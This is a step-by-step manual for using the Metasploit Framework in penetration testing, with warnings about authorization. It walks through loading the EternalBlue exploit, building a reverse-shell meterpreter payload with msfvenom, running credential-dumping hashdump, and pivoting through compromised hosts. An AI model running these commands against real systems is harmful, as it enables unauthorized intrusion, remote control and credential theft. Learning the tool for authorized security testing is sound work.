# METASPLOIT USER MANUAL

1) **Comprehensive Manual for Using the Metasploit Framework on Ubuntu 24.04**
   a) This manual provides a complete guide to Metasploit Framework (MSF6 as of 2026) for penetration testing and security research.
   b) Metasploit is a modular Ruby-based platform designed for developing, testing, and executing exploits, payloads, and auxiliary modules.
   c) It is intended exclusively for authorized ethical hacking, vulnerability research, and defensive security validation on systems you own or have explicit written permission to test.
   d) Unauthorized use on any third-party system without consent is illegal, unethical, and can result in severe legal consequences including criminal charges.
2) **Overarching Ethical and Legal Requirements**
   a) Before using any command or module in Metasploit, always obtain explicit written authorization from the system owner or responsible party.
   b) Conduct all testing in isolated lab environments such as virtual machines whenever possible to prevent accidental damage.
   c) Never use Metasploit on production networks, critical infrastructure, or any system without documented permission.
   d) Follow all applicable laws including the Computer Fraud and Abuse Act in the US and equivalent international regulations.
3) **Installing and Preparing Metasploit (Review Only)**
   a) Ensure the official repository-based installation method was used as previously instructed.
   b) Verify PostgreSQL is running and the database is initialized with the command msfdb init.
4) **Launching the Metasploit Console**
   a) Type msfconsole in the terminal to start the primary interface.
   b) The console prompt will change to msf6 > when loaded successfully.
   c) Type banner to display a random banner for visual confirmation.
5) **Getting Help and Understanding Commands**
   a) Type help to list all available global commands at the main prompt.
   b) Type help followed by a specific command name such as help search to get detailed usage information for that command.
   c) Type info followed by a module name to view detailed information about any loaded module.
6) **Searching for Modules**
   a) Type search followed by a keyword such as search eternalblue to locate relevant exploits, auxiliaries, or payloads.
   b) Use advanced filters such as search platform:windows type:exploit or search cve:2017-0144 for precise results.
   c) Review the full list of results carefully and verify the module's description matches your testing goals before proceeding.
7) **Loading a Module**
   a) Type use followed by the full module path such as use exploit/windows/smb/ms17_010_eternalblue to load an exploit.
   b) Type back to unload the current module and return to the main prompt.
   c) Type reload to refresh the module's code and options if you make changes during development.
8) **Viewing and Setting Module Options**
   a) Type show options to display all configurable parameters for the currently loaded module.

b) Type show payloads to list compatible payloads for the selected exploit.
c) Type show targets to view available target operating systems or versions.
d) Type show advanced to see advanced options such as evasion settings.
e) Type set followed by the option name and value such as set RHOSTS 192.168.1.100 to configure a required parameter.
f) Type setg for global settings that persist across modules.
g) Use unset to clear a specific option if needed.

**9) Running Modules and Exploits**

a) Type exploit or run to execute the currently loaded module.
b) For auxiliary modules such as scanners, the command run is typically used.
c) For exploit modules, the command exploit launches the attack.
d) Monitor output carefully and stop immediately if the action exceeds the agreed scope.
e) Type check (when available) to verify vulnerability without exploitation.

**10) Working with Payloads and Msfvenom**

a) Use msfvenom from the terminal outside the console to generate standalone payloads such as msfvenom -p windows/meterpreter/reverse_tcp LHOST=your_ip LPORT=4444 -f exe > payload.exe.
b) Inside msfconsole, set the payload with set payload after loading an exploit to choose the delivery method.
c) Always use encoders and evasion options responsibly to demonstrate defensive bypass techniques only in controlled lab settings.

**11) Post-Exploitation and Meterpreter**

a) Once a session is established, type sessions to list active sessions.
b) Type sessions -i followed by the session ID to interact with a specific session.
c) Inside Meterpreter, common commands include sysinfo, getuid, shell, upload, download, and hashdump.
d) Type background to return to the main console while keeping the session alive.

**12) Managing Sessions and Jobs**

a) Type sessions -l to list all active sessions.
b) Type sessions -k followed by the ID to terminate a specific session.
c) Type jobs to view background jobs and jobs -k to kill them.

**13) Using the Database for Tracking**

a) Ensure PostgreSQL is running and type db_status to check database connectivity.
b) Type db_import to import scan results from tools like Nmap.
c) Type hosts, services, or vulns to view stored data.

**14) Updating Metasploit**

a) Type msfupdate or run apt update && apt upgrade metasploit-framework from the terminal to keep modules current.

**15) Advanced Features and Best Practices**

a) Type route to manage routing through compromised sessions for pivoting.
b) Use workspace commands such as workspace -a to create isolated workspaces for different projects.
c) Type spool to log all console output to a file for documentation.
d) Never leave Metasploit running unattended on any system.

**16) Cleanup and Responsible Exit**

a) After testing, type exit to close the console.
b) Manually delete any generated files, payloads, or logs.
c) Stop PostgreSQL with systemctl stop postgresql if no longer needed.